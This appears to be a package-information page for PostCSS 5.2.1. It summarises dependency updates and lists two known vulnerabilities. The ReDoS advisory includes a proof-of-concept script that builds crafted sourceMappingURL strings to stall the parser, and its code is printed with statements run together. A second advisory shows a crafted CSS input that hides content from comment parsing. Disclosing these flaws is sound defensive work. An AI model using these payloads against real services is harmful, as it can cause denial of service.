PostCSS version 5.2.1 represents a minor update to the popular tool for transforming styles with JavaScript plugins, building upon the foundation laid by version 5.2.0. Both versions share the same core dependencies, including js-base64, source-map, and supports-color, ensuring continued compatibility with existing projects. The key changes reside within the development dependencies, indicating improvements primarily focused on the development workflow and testing.
Notably, sinon was updated from version 1.17.5 to 1.17.6 and eslint from 3.4.0 to 3.6.0., with the newer version dropping the gulp-jsdoc3 dependency. This suggests a shift in focus towards enhanced linting and potentially more robust testing procedures. These updates, while seemingly small, contribute to a more reliable and maintainable codebase, indirectly benefiting developers using PostCSS by ensuring fewer bugs and a more stable experience.
For developers adopting PostCSS, these incremental updates highlight the project's commitment to continuous improvement. While version 5.2.1 doesn't introduce new features or drastically alter existing functionality, the refined development dependencies signal a stronger emphasis on code quality and testing. When upgrading, developers should ensure their development environments are compatible with the updated versions of the listed development dependencies, especially eslint. This ensures a smooth transition and allows them to leverage the benefits of the improved development pipeline. Overall, opting for 5.2.1 provides a slightly more polished and reliable version of the robust styling transformation tool.
All the vulnerabilities related to the version 5.2.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.